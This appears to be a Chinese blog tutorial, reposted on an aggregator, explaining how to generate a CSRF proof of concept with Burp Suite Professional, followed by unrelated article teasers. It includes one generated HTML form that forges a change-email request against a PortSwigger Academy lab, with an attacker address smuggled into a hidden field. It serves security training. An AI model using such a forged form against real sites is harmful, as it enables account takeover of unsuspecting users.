如何通过Burp Suite专业版构建CSRF PoC

Burp Suite是一款强大的渗透测试利器，可以利用它来高效的执行渗透攻击，接下来介绍如何通过Burp Suite Pro来构建CSRF PoC。

如果还没安装burp suite，请参阅【Burp Suite专业版本安装配置及使用指导 】

  1. 在Bupr中找到拦截的请求，右键选择Engagement tools => Generate CSRF PoC
    在这里插入图片描述
  2. 利用CSRF PoC生成器自动生成HTML
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/')</script><form action="https://0a50007d0353381f8795a7ae004c001b.web-security-academy.net/my-account/change-email" method="POST" enctype="text/plain"><input type="hidden" name="csrf" value="ztEXkyKgBF1CquUx7mGtX5VHoeTxBZGw&amp;email&#61;attacker&#64;163&#46;com" /><input type="submit" value="Submit request" /></form></body>
</html>

  1. 对生成的HTML根据攻击需要做出相应调整

  2. 将生成的HTML复制到网页中，登录到易受攻击的网站的浏览器中查看，测试是否成功发出了预期的请求并执行了相应操作。
    在这里插入图片描述

    在这里插入图片描述

参考

[1] https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf

推荐阅读
「 典型安全漏洞系列 」03.跨站请求伪造CSRF详解
「 典型安全漏洞系列 」02.SQL注入详解
「 典型安全漏洞系列 」01.跨站脚本攻击XSS详解

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/412059.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Ubuntu 22.04 Cron使用

Ubuntu 22.04 Cron使用

需要定时处理的场景还是比较多的，比如信息推送、日志清理等。 这篇文章我们来说说如何使用cron来实现定时处理，以及监控任务的执行。 使用 Ubuntu中使用cron，要用到的命令是crontab。不加sudo时，处理的是个人的定时任务。当加上sudo时，处理的则是系统级别的定时任务。下…
阅读更多...
公共用例库计划--个人版（四）功能改造与性能优化

公共用例库计划--个人版（四）功能改造与性能优化

1、任务概述 本次计划的核心任务是开发一个&#xff0c;个人版的公共用例库&#xff0c;旨在将各系统和各类测试场景下的通用、基础以及关键功能的测试用例进行系统性地归纳整理&#xff0c;并以提高用例的复用率为目标&#xff0c;力求最大限度地减少重复劳动&#xff0c;提升…
阅读更多...
SpringBoot异常处理

SpringBoot异常处理

1.SpringBoot异常处理 1.1.自定义错误页面 SpringBoot默认的处理异常的机制&#xff1a;SpringBoot 默认的已经提供了一套处理异常的机制。一旦程序中出现了异常 SpringBoot 会向/error 的 url 发送请求。在 springBoot 中提供了一个叫 BasicErrorController 来处理/error 请…
阅读更多...
leedcode刷题笔记day1

leedcode刷题笔记day1

题目大意&#xff1a; 暴力解法 两个for循环&#xff08;也是我一看到题目想到的方法&#xff09; 枚举在数组中所有的不同的两个下标的组合逐个检查它们所对应的数的和是否等于 target 复杂度分析 时间复杂度:O(n2)&#xff0c;这里 n 为数组的长度 空间复杂度:O(1)&#x…
阅读更多...
新定义51单片机（RD8G37）实现测距测速仪

新定义51单片机（RD8G37）实现测距测速仪

本文描述用新定义51单片机&#xff08;RD8G37&#xff09;超声波一体测距传感器实现简单的测距测速仪。 测距仪演示效果 新定义RD8G37Q48RJ开发板 超声波测距模块&#xff1a; 8位并口屏 1、main.c unsigned short timeConsuming0; unsigned int oldDistance;void rectClearS…
阅读更多...
Javascript，到底要不要写分号？

Javascript，到底要不要写分号？

小白随机在互联网上乱丢一些赛博垃圾&#xff0c;还望拨冗批评斧正。 要不要加分号&#xff1f; 先说结论&#xff1a;“不引起程序出错的前提下&#xff0c;加不加都可以&#xff0c;按自身习惯来。” 为什么JS可以不加分号&#xff1f; 实际上&#xff0c;行尾使用分号的风…
阅读更多...
解决方案｜镭速赋能影视行业数字化，电影高速分发技术打造一流传输体验！

解决方案｜镭速赋能影视行业数字化，电影高速分发技术打造一流传输体验！

中国电影产业链主要分为三部分&#xff0c;即上游制片&#xff0c;中游宣发&#xff0c;下游院线影院&#xff0c;互联网产业发展后衍生出线上票务平台作为产业终端。随着4K、3D、高帧率、高动态范围、广色域、沉浸式音频等新兴视听技术的发展与应用&#xff0c;高新技术格式电…
阅读更多...
stm32内存分配博客笔记

stm32内存分配博客笔记

原文&#xff1a; stm32内存分配 笔记&#xff1a; 1、向量表与代码段&#xff1b;根据Cortex-M3权威指南描述&#xff0c;系统复位后&#xff0c;在向量表异常0处保存的是堆栈起始地址&#xff0c;而后紧跟中断向量表 2、可以从链接脚本.ld文件中看到终端向量表第一个被链接…
阅读更多...
Date，SimpleDateFormate类和Calendar类

Date，SimpleDateFormate类和Calendar类

目录 一、Date 二、SimleDateFormate类 作用 练习一 练习二 三、Calendar类 概述 Calendar小结 一、Date 构造方法说明public Date()创建Date对象&#xff0c;表示一个时间public Date(long date)创建Date对象&#xff0c;表示指定时间public void setTime(long time)设置…
阅读更多...
服务器变矿机，该如何应对？

服务器变矿机，该如何应对？

开始 恶意的挖矿程序会导致服务器cpu的异常占用&#xff0c;很让人讨厌。起初&#xff0c;我只是使用top命令显示出占用cpu不正常的进程&#xff0c;发现其中一个进程占用了百分之九十九点几&#xff0c;然后通过kill -9 <PID>命令干掉它。但总是过不了几天&#xff0c;…
阅读更多...
VRPSolverEasy：支持VRP问题快速建模的精确算法Python包

VRPSolverEasy：支持VRP问题快速建模的精确算法Python包

文章目录 前言一步步安装免费版主要模块介绍1. depot point2. customer point3. links4. vehicle type VRPTW 算例数据说明模型建立输出求解状态及结果 前言 VRPSolverEasy 是用于车辆路径问题&#xff08;VRP&#xff09;的最先进的分支切割和定价算法求解器1&#xff0c;它的…
阅读更多...
[二]rtmp服务器搭建

[二]rtmp服务器搭建

[二]rtmp服务器搭建 一.测试二.使用Nginx搭建自己的rtmp服务器1.nginx是什么&#xff1f;2.环境准备 三、搭建过程1.安装编译 nginx 所需要的库2.下载 nginx-1.21.6.tar.gz3.下载 nginx-rtmp-module 4.解压5.编译6.启动nginx&#xff0c;检测nginx是否能成功运行7.配置nginx使用…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023